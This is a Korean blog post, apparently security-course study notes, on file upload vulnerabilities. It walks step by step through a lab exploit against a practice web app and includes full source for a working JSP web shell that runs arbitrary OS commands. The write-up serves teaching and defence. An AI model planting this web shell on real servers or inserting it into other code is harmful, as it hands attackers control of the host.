겉바속촉
[보안] 파일 업로드 취약점 본문
파일 업로드 취약점 (= 위험한 형식 파일 업로드)
파일업로드 기능이 존재하는 경우 일반적으로는 다음과 같습니다.
1. 클라이언트 측 소스
<form enctype="multipart/form-data" method="post" ...>
<input type="file" … >
</form>
2. 서버 측 소스
Multipart**** 형태의 객체를 이용해서 첨부 파일을 추출
파일 업로드 기능이 존재하는 경우
- 파일 크기와 개수, 종류를 검증, 제한하지 않고 외부에서 접근 가능한 경로에 업로드 파일을 저장하는 경우 발생
파일의 크기와 개수를 제한하지 않으면 어떻게 될까요??
- 서버의 연결 자원과 디스크 자원을 고갈시켜 정상적인 서비스를 방해하게 됩니다.
파일의 종류를 제한하지 않으면 어떻게 될까요?
- 서버에서 실행 가능한 파일 업로드 후 그 파일을 실행합니다. --> 웹 쉘(web shell) --> 서버의 제어권을 탈취!!
- 이것이 가능하려면 전제되는 것이 외부에서 접근 가능한 경로에 업로드 파일이 저장되어야합니다.
- 클라이언트에서 실행될 수 있는 파일을 업로드 후 블특정 다수가 다운로드하도록 유도
--> 그럼 서버는 결국 악성코드 유포지로 악용될 수 있음.
WebShell (웹쉘)
- SSS (Server-Side Script) = PHP, ASP, JSP, ...
- 1개의 파일로 구성
- OS Command Injection 공격을 편하게 수행할 수 있도록 구성
@Attacker 가상머신
http://winxp:8080/openeg 접속 > admin / openeg 로그인 > (Proxy 활성화) > 게시판에 글쓰기
1. http://winxp:8080/openeg 접속
2. admin / openeg 로그인
3. 쓰기를 누른 상태에서 버프슈트의 Intercept On
4. 제목, 내용, 파일 첨부까지 마친 후에 확인 클릭
5. 버프슈트 프록시 확인!!
자세히 살펴보면 multipart form이라는 것을 알 수 있습니다.
boundary 사이사이에 각각의 data들이 존재하며,
첨부한 파일의 이름, 형식, 내용까지 모두 나와있쥬!!
그렇다면 이제!!!!! 웹 쉘 업로드를 통한 서버 제어권을 탈취해보겠습니다:)
웹 쉘 업로드를 통한 서버 제어권을 탈취
1. 프록시탭에서 intercept off로 해주기
2. 사이트로 가서 로그인 후 게시판으로 가주기
3. 게시판에 이미지를 첨부해서 글쓰기
4. 게시판 내용 보기를 했을 때 첨부한 이미지가 출력되는 것을 확인
5. 개발자도구를 활용해서 이미지 파일의 저장 위치 확인
F12를 눌러준 후에 사진을 클릭하면 페이지 소스 보기에서 src를 봐주세요:)
그러면 ../ 를 볼 수 있습니다.
현재 리눅스에서 게시판 상세 페이지 주소는 다음과 같습니다.
http://winxp:8080/openeg/board/view.do?idx=2
view.do에 해당하는 데요
이것의 상위이기 때문에 openeg아래에 있는 것입니다.
그래서 이미지 경로는 openeg아래의 files아래에 있다는 것을 알 수 있습니다.
그렇다면 이미지 태그에 있는 상대주소를 절대주소로 변경해보겠습니다.
이 주소로 접근해볼게요.
http://winxp:8080/openeg/files/gutbasokchock.jpg
이미지가 바로 나와버리쥬??
이것을 보고 외부에서 접근이 가능한 경로에 해당 파일이 존재한다고 하는 것입니다!!!!!!!!!!!!
다른 말로 하면 Web Root 혹은 Web Document Root 아래에 위치한다 고 하는 것입니다.
url 상의 주소의 기준이 되는 디렉터리가 바로 web root입니다.
@Attacker 가상머신에 webshell.jsp 파일을 생성
┌──(kali㉿kali)-[~]
└─$ sudo vi webshell.jsp
<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="webshell" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
Runtime.getRuntime().exec(request.getParameter("cmd"))
--> 운영체제 명령어를 실행하는 부분
--> 파라미터로 넘어온 값을 실행시키는 부분이 됩니다.
1. webshell.jsp 파일을 첨부해서 게시판에 글쓰기
2. 업로드 되어있는 Webshell글을 클릭해주기
아무것도 안나오는 것을 확인할 수 있습니다.이미지가 아니기 때문이죠!!
하지만 우리는 주소를 알고 있습니다.
어떻게요??? F12를 눌러서요!!!
현재 페이지 주소 : http://winxp:8080/openeg/board/view.do?idx=3
이미지의 예상되는 주소 : http://winxp:8080/openeg/files/webshell.jsp
3. 예상되는 주소로 들어가주기
아까 만들었던 webshell.jsp 파일의 코드는 다음 보이는 input창에다가 입력해준 내용이
서버에서 실행되고 그 실행된 내용이 출력되도록 한 것입니다:)
4. cmd.exe /c dir 을 입력해보기
이것이 바로 운영체제 명령어 삽입이라는 것입니다.이 운영체제 명령어 삽입이 이루어질 수 있는 것은
업로드라는 기능을 이용해서 웹쉘을 올렸기 때문입니다.
winxp의 디렉터리 구조가 다음과 같이 나오고 있습니다.
서버에서 실행할 수 있는 명령어들을 입력하면 다음과 같이 출력이 되는 것이쥬!!
이게 바로 업로드 취약점을 이용한 것입니다.
이러한 취약점이 있으면 가장 먼저 하는 것이 webshell을 올리는 것입니다:)
webshell이 실행됨으로써 해당 서버를 손쉽게 제어할 수 있게 됩니다.
'IT 일기 (상반기) > 네트워크 및 시스템 보안' 카테고리의 다른 글
[보안] 파일 업로드 취약점 방어 (0) | 2021.02.12 |
---|---|
[보안] 웹 도큐먼트 루트 (0) | 2021.02.11 |
[보안] Python SQL Injection (0) | 2021.02.11 |
[보안] 접근제어 (feat. 데이터레벨의 접근통제) (0) | 2021.02.10 |
[보안] 접근제어 (feat. 기능레벨의 접근통제) (0) | 2021.02.08 |